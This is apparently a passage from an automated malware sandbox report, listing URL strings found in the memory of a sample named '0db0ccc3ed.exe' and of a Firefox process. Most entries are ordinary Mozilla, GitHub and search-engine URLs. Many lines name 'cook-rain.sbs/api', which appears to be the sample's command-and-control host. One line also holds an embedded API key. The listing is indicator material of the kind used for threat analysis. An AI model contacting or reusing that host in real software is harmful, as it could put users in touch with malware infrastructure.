Source: 0db0ccc3ed.exe, 0000000D.00000003.2998383115.00000000016CD000.00000004.00000020.00020000.00000000.sdmp, 0db0ccc3ed.exe, 0000000D.00000003.2943309001.00000000016CD000.00000004.00000020.00020000.00000000.sdmp, 0db0ccc3ed.exe, 0000000D.00000003.2977883824.00000000016CD000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2991040987.00000177EC603000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: firefox.exe, 0000001B.00000002.3048220531.00000177EF482000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com
Source: firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com/v1/tiles
Source: 0db0ccc3ed.exe, 0000000D.00000003.2889719285.00000000016EB000.00000004.00000020.00020000.00000000.sdmp, 0db0ccc3ed.exe, 0000000D.00000003.2998132160.00000000016FC000.00000004.00000020.00020000.00000000.sdmp, 0db0ccc3ed.exe, 0000000D.00000003.2919896849.0000000005BC1000.00000004.00000800.00020000.00000000.sdmp, 0db0ccc3ed.exe, 0000000D.00000003.3002906737.00000000016FE000.00000004.00000020.00020000.00000000.sdmp, 0db0ccc3ed.exe, 0000000D.00000003.2865633678.00000000016DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/
Source: 0db0ccc3ed.exe, 0000000D.00000003.2825179151.00000000016E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/)X
Source: 0db0ccc3ed.exe, 0000000D.00000003.2865334230.00000000016DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs//Z
Source: 0db0ccc3ed.exe, 0000000D.00000003.3196186988.00000000016FC000.00000004.00000020.00020000.00000000.sdmp, 0db0ccc3ed.exe, 0000000D.00000003.3198134724.00000000016FD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/6
Source: 0db0ccc3ed.exe, 0000000D.00000003.2865334230.00000000016DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/=X
Source: 0db0ccc3ed.exe, 0000000D.00000003.2889608789.00000000016DB000.00000004.00000020.00020000.00000000.sdmp, 0db0ccc3ed.exe, 0000000D.00000003.2889719285.00000000016EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/C
Source: 0db0ccc3ed.exe, 0000000D.00000003.2920452481.00000000016EC000.00000004.00000020.00020000.00000000.sdmp, 0db0ccc3ed.exe, 0000000D.00000003.2921483438.00000000016EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/H
Source: 0db0ccc3ed.exe, 0000000D.00000003.2998132160.00000000016FC000.00000004.00000020.00020000.00000000.sdmp, 0db0ccc3ed.exe, 0000000D.00000003.3002906737.00000000016FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/R
Source: 0db0ccc3ed.exe, 0db0ccc3ed.exe, 0000000D.00000003.2943309001.0000000001671000.00000004.00000020.00020000.00000000.sdmp, 0db0ccc3ed.exe, 0000000D.00000003.2998065355.0000000005BC4000.00000004.00000800.00020000.00000000.sdmp, 0db0ccc3ed.exe, 0000000D.00000003.2889555672.0000000005BC5000.00000004.00000800.00020000.00000000.sdmp, 0db0ccc3ed.exe, 0000000D.00000003.2892269661.0000000001671000.00000004.00000020.00020000.00000000.sdmp, 0db0ccc3ed.exe, 0000000D.00000003.3193155774.0000000001671000.00000004.00000020.00020000.00000000.sdmp, 0db0ccc3ed.exe, 0000000D.00000003.3002701495.0000000005BC5000.00000004.00000800.00020000.00000000.sdmp, 0db0ccc3ed.exe, 0000000D.00000003.2865334230.00000000016DF000.00000004.00000020.00020000.00000000.sdmp, 0db0ccc3ed.exe, 0000000D.00000003.2892269661.00000000016CD000.00000004.00000020.00020000.00000000.sdmp, 0db0ccc3ed.exe, 0000000D.00000003.3198255928.000000000168D000.00000004.00000020.00020000.00000000.sdmp, 0db0ccc3ed.exe, 0000000D.00000003.2919896849.0000000005BC1000.00000004.00000800.00020000.00000000.sdmp, 0db0ccc3ed.exe, 0000000D.00000003.2998383115.0000000001671000.00000004.00000020.00020000.00000000.sdmp, 0db0ccc3ed.exe, 0000000D.00000003.2828925343.00000000016DD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/api
Source: 0db0ccc3ed.exe, 0000000D.00000003.2865334230.00000000016DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/api:
Source: 0db0ccc3ed.exe, 0000000D.00000003.2825179151.00000000016DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/api:X
Source: 0db0ccc3ed.exe, 00000008.00000002.2634276109.0000000001166000.00000004.00000020.00020000.00000000.sdmp, 0db0ccc3ed.exe, 00000008.00000003.2633170416.0000000001166000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/apiHOME
Source: 0db0ccc3ed.exe, 00000008.00000002.2634276109.0000000001166000.00000004.00000020.00020000.00000000.sdmp, 0db0ccc3ed.exe, 00000008.00000003.2633170416.0000000001166000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/apia
Source: 0db0ccc3ed.exe, 0000000D.00000003.2943309001.0000000001671000.00000004.00000020.00020000.00000000.sdmp, 0db0ccc3ed.exe, 0000000D.00000003.2892269661.0000000001671000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/apint
Source: 0db0ccc3ed.exe, 0000000D.00000003.2998383115.00000000016CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/apisn
Source: 0db0ccc3ed.exe, 00000008.00000002.2634276109.0000000001166000.00000004.00000020.00020000.00000000.sdmp, 0db0ccc3ed.exe, 00000008.00000003.2633170416.0000000001166000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/apistemBi
Source: 0db0ccc3ed.exe, 0000000D.00000003.2828925343.00000000016E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/z
Source: 0db0ccc3ed.exe, 0000000D.00000003.2977883824.0000000001658000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs:443/api
Source: firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://coverage.mozilla.org
Source: firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://crash-stats.mozilla.org/report/index/
Source: firefox.exe, 0000001B.00000003.2881469236.00000177F494C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2911291951.00000177F494B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2898410251.00000177F494B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2879801473.00000177F494D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2885968539.00000177F494B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crbug.com/993268
Source: firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://dap-02.api.divviup.org
Source: firefox.exe, 0000001B.00000002.2957103100.00000177E8C11000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2957103100.00000177E8C2C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Mozilla/Add-ons/WebExtensions/API/tabs/captureTab
Source: firefox.exe, 0000001B.00000002.2957103100.00000177E8C2C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/releasePointerCapture
Source: firefox.exe, 0000001B.00000002.2957103100.00000177E8C11000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2957103100.00000177E8C2C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/setPointerCapture
Source: firefox.exe, 0000001B.00000002.2957103100.00000177E8C11000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2957103100.00000177E8C2C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Push_API/Using_the_Push_API#Encryption
Source: firefox.exe, 0000001B.00000002.2958868459.00000177E8D03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/commands#Key_combinations
Source: firefox.exe, 0000001B.00000002.2958868459.00000177E8D03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/commands#Key_combinationsjar
Source: firefox.exe, 0000001B.00000002.2957103100.00000177E8C11000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2957103100.00000177E8C2C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsing
Source: firefox.exe, 0000001B.00000003.2881469236.00000177F494C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2911291951.00000177F494B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2898410251.00000177F494B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2879801473.00000177F494D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2885968539.00000177F494B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/API/ElementCSSInlineStyle/style#setting_styles)
Source: firefox.exe, 0000001B.00000003.2881469236.00000177F494C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2911291951.00000177F494B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2898410251.00000177F494B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2879801473.00000177F494D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2885968539.00000177F494B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for-await...of
Source: firefox.exe, 0000001B.00000003.2881469236.00000177F494C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2911291951.00000177F494B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2898410251.00000177F494B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2879801473.00000177F494D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2885968539.00000177F494B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_custom_elements#using_the_lifecycl
Source: firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developers.google.com/safe-browsing/v4/advisory
Source: firefox.exe, 0000001B.00000002.2991040987.00000177EC603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3108270091.00003B1055F04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com
Source: firefox.exe, 0000001B.00000002.3006042088.00000177ECFD4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3102007468.00000A6831404000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/
Source: firefox.exe, 0000001B.00000002.3023322384.00000177EE119000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/?t=ffab&q=
Source: 0db0ccc3ed.exe, 0000000D.00000003.2829313635.0000000005C0D000.00000004.00000800.00020000.00000000.sdmp, 0db0ccc3ed.exe, 0000000D.00000003.2826907496.0000000005C0F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: 0db0ccc3ed.exe, 0000000D.00000003.2829313635.0000000005C0D000.00000004.00000800.00020000.00000000.sdmp, 0db0ccc3ed.exe, 0000000D.00000003.2826907496.0000000005C0F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: 0db0ccc3ed.exe, 0000000D.00000003.2829313635.0000000005C0D000.00000004.00000800.00020000.00000000.sdmp, 0db0ccc3ed.exe, 0000000D.00000003.2826907496.0000000005C0F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: firefox.exe, 0000001B.00000002.3032485571.00000177EE567000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/y
Source: firefox.exe, 0000001B.00000002.2955455615.00000177E897D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2958868459.00000177E8D72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2982766334.00000177EAC39000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 0000001B.00000002.2958868459.00000177E8D72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%s_finalizeInternal/this._finalizePromise
Source: firefox.exe, 0000001B.00000002.3108270091.00003B1055F04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ebay.comP
Source: firefox.exe, 0000001B.00000002.2958868459.00000177E8D72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2982766334.00000177EAC39000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://email.seznam.cz/newMessageScreen?mailto=%s
Source: firefox.exe, 0000001B.00000002.2958868459.00000177E8D72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://email.seznam.cz/newMessageScreen?mailto=%schrome://global/content/elements/videocontrols.js
Source: firefox.exe, 0000001B.00000002.2957103100.00000177E8C11000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2957103100.00000177E8C2C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://extensionworkshop.com/documentation/publish/self-distribution/
Source: firefox.exe, 0000001B.00000002.3063467191.00000177F0383000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2991040987.00000177EC603000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-api-proxy.cdn.mozilla.net/
Source: firefox.exe, 0000001B.00000003.2885692369.00000177F4CFD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/706c7a85-cf23-442e-8a9
Source: firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/networking/dns/trr-skip-reasons.html#
Source: firefox.exe, 0000001B.00000002.2957103100.00000177E8C11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/performance/scroll-linked_effects.html
Source: firefox.exe, 0000001B.00000002.2958868459.00000177E8DE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main-preview/collections/search-config/reco
Source: firefox.exe, 0000001B.00000002.2958868459.00000177E8D72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/records
Source: firefox.exe, 0000001B.00000002.2958868459.00000177E8DE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main-preview/collections/search-config/reco
Source: firefox.exe, 0000001B.00000002.2958868459.00000177E8D72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/search-config/records
Source: firefox.exe, 0000001B.00000002.2958868459.00000177E8D03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1Cache
Source: firefox.exe, 0000001B.00000002.3103836214.00001CB66B500000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2948268507.00000177DCA6B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.com
Source: firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.com/browser?utm_source=firefox-desktop&utm_medium=referral&utm_campaign=about-pr
Source: firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://ftp.mozilla.org/pub/labs/devtools/adb-extension/#OS#/adb-extension-latest-#OS#.xpi
Source: firefox.exe, 0000001B.00000002.3063467191.00000177F0383000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2991040987.00000177EC603000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/
Source: firefox.exe, 0000001B.00000002.2991040987.00000177EC603000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=
Source: firefox.exe, 0000001B.00000002.2991040987.00000177EC603000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l
Source: firefox.exe, 0000001B.00000002.2958868459.00000177E8D26000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=bas
Source: firefox.exe, 0000001B.00000002.2991040987.00000177EC603000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tab
Source: firefox.exe, 0000001B.00000002.3063467191.00000177F0383000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tabL
Source: firefox.exe, 0000001B.00000002.2991040987.00000177EC603000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_more
Source: firefox.exe, 0000001B.00000002.2991040987.00000177EC603000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendations
Source: firefox.exe, 0000001B.00000002.3063467191.00000177F0383000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendationsS
Source: firefox.exe, 0000001B.00000002.3063467191.00000177F0383000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendationsS7
Source: firefox.exe, 0000001B.00000002.2958868459.00000177E8D03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=basic
Source: firefox.exe, 0000001B.00000002.3021764457.00000177EDB2B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/cfworker
Source: firefox.exe, 0000001B.00000003.2881469236.00000177F494C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2911291951.00000177F494B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2898410251.00000177F494B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2879801473.00000177F494D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2885968539.00000177F494B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/google/closure-compiler/issues/3177
Source: firefox.exe, 0000001B.00000003.2898410251.00000177F4936000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query-all.ts
Source: firefox.exe, 0000001B.00000003.2898410251.00000177F4936000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query.ts
Source: firefox.exe, 0000001B.00000003.2881469236.00000177F494C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2911291951.00000177F494B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2898410251.00000177F494B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2879801473.00000177F494D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2885968539.00000177F494B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/issues/1266
Source: firefox.exe, 0000001B.00000003.2881469236.00000177F494C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2911291951.00000177F494B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2898410251.00000177F494B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2879801473.00000177F494D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2885968539.00000177F494B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/microsoft/TypeScript/issues/338).
Source: firefox.exe, 0000001B.00000003.2801211468.00000177EC85A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2958868459.00000177E8D72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2801463049.00000177EC877000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshots
Source: firefox.exe, 0000001B.00000002.2958868459.00000177E8D72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshotsshims/private-browsing-web-api-fixes.jsexperiment-api
Source: firefox.exe, 0000001B.00000002.3063467191.00000177F0383000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/w3c/csswg-drafts/blob/master/css-grid-2/MASONRY-EXPLAINER.md
Source: firefox.exe, 0000001B.00000002.3063467191.00000177F0383000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/w3c/csswg-drafts/issues/4650
Source: firefox.exe, 0000001B.00000002.2958868459.00000177E8D03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/zertosh/loose-envify)
Source: firefox.exe, 0000001B.00000002.2991040987.00000177EC603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3108270091.00003B1055F04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com
Source: firefox.exe, 0000001B.00000002.3004177440.00000177ECF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com/
Source: firefox.exe, 0000001B.00000002.3063467191.00000177F0383000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gpuweb.github.io/gpuweb/
Source: firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://helper1.dap.cloudflareresearch.com/v02
Source: firefox.exe, 0000001B.00000002.2958868459.00000177E8D03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881
Source: firefox.exe, 0000001B.00000002.2958868459.00000177E8D03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881Whether
Source: firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://ideas.mozilla.org/
Source: firefox.exe, 0000001B.00000002.2991040987.00000177EC603000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: firefox.exe, 0000001B.00000002.2953892719.00000177E84F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org
Source: firefox.exe, 0000001B.00000002.2991040987.00000177EC603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3052953874.00000177EFE61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submit
Source: firefox.exe, 0000001B.00000002.3063467191.00000177F0383000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submits
Source: firefox.exe, 0000001B.00000003.2881469236.00000177F494C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2911291951.00000177F494B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2898410251.00000177F494B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2879801473.00000177F494D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2885968539.00000177F494B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://infra.spec.whatwg.org/#ascii-whitespace
Source: firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://install.mozilla.org
Source: firefox.exe, 0000001B.00000002.3032485571.00000177EE567000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2019-09/schema
Source: firefox.exe, 0000001B.00000003.2881469236.00000177F494C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2911291951.00000177F494B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2898410251.00000177F494B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2879801473.00000177F494D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2885968539.00000177F494B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/libraries/standalone-templates/#rendering-lit-html-templates
Source: firefox.exe, 0000001B.00000003.2881469236.00000177F494C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2911291951.00000177F494B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2898410251.00000177F494B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2879801473.00000177F494D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2885968539.00000177F494B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/templates/directives/#stylemap
Source: firefox.exe, 0000001B.00000003.2881469236.00000177F494C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2911291951.00000177F494B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2898410251.00000177F494B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2879801473.00000177F494D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2885968539.00000177F494B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/templates/expressions/#child-expressions)
Source: firefox.exe, 0000001B.00000002.2958868459.00000177E8DE4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=%MOZILLA_API_KEY%
Source: firefox.exe, 0000001B.00000002.2958868459.00000177E8DE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=%MOZILLA_API_KEY%The
Source: firefox.exe, 0000001B.00000002.2998387664.00000177ECDAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=7e40f68c-7938-4c5d-9f95-e61647c213eb
Source: firefox.exe, 0000001B.00000002.3097342995.000005C00DE00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: firefox.exe, 0000001B.00000002.3097342995.000005C00DE00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.live.comZ
Source: firefox.exe, 0000001B.00000002.3063467191.00000177F0333000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com
Source: firefox.exe, 0000001B.00000002.2958868459.00000177E8D72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2982766334.00000177EAC39000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2963599427.00000177E99D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%s
Source: firefox.exe, 0000001B.00000002.2958868459.00000177E8D72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%sWebChannel
Source: firefox.exe, 0000001B.00000002.2958868459.00000177E8D72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%sbrowser.download.viewableInternally.enabledTypesme
